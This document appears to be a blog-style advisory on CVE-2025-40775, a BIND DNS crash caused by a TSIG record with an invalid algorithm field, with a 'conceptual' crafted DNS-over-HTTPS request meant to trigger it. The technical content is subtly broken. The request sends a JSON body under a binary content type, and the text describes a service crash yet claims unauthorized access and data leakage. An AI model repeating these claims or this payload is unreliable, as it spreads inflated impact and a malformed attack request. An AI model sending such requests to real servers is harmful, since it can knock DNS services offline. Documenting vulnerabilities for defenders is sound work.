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CVE-2025-40775: BIND DNS Server Vulnerability due to Invalid TSIG algorithm Field

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Overview

This report discusses the vulnerability CVE-2025-40775, which affects BIND DNS server versions 9.20.0 through 9.20.8 and 9.21.0 through 9.21.7. This vulnerability is significant as it potentially allows unauthorized access to systems, leading to data leakage or system compromise. Given the widespread use of BIND DNS servers, this vulnerability poses a considerable risk to secure information exchange and integrity of systems across the globe.

Vulnerability Summary

CVE ID: CVE-2025-40775
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential for system compromise and data leakage

Affected Products

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Product | Affected Versions

BIND DNS Server | 9.20.0 – 9.20.8
BIND DNS Server | 9.21.0 – 9.21.7

How the Exploit Works

When the BIND DNS server receives an incoming DNS protocol message that includes a Transaction Signature (TSIG), it always checks this signature. If the TSIG contains an invalid value in its algorithm field, the BIND server is forced to abort its operation with an assertion failure. This behavior can be exploited by attackers to interrupt the DNS service, leading to potential system compromise or data leakage.

Conceptual Example Code

Here is a conceptual example of how a DNS protocol message with an invalid TSIG might be sent to exploit this vulnerability:

POST /dns-query HTTP/1.1
Host: vulnerable-dns-server.com
Content-Type: application/dns-message
{
"header": {
"id": "1234",
"opcode": "QUERY",
"rcode": "NOERROR",
"flags": ["qr","rd","ra"],
"qdcount": "1",
"ancount": "0",
"nscount": "0",
"arcount": "1"
},
"question": [{"name": "example.com.", "type": "A"}],
"additional": [
{
"name": "transaction-key.",
"type": "TSIG",
"algorithm": "invalid-algorithm",
"time_signed": "20250314120000",
"fudge": "300",
"error": "NOERROR",
"other_data": ""
}
]
}

In this example, the “algorithm” field of the TSIG contains an invalid value (“invalid-algorithm”), which would cause the BIND server to abort its operation with an assertion failure.

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Disclaimer:

The information and code presented in this article are provided for educational and defensive cybersecurity purposes only. Any conceptual or pseudocode examples are simplified representations intended to raise awareness and promote secure development and system configuration practices.

Do not use this information to attempt unauthorized access or exploit vulnerabilities on systems that you do not own or have explicit permission to test.

Ameeba and its authors do not endorse or condone malicious behavior and are not responsible for misuse of the content. Always follow ethical hacking guidelines, responsible disclosure practices, and local laws.

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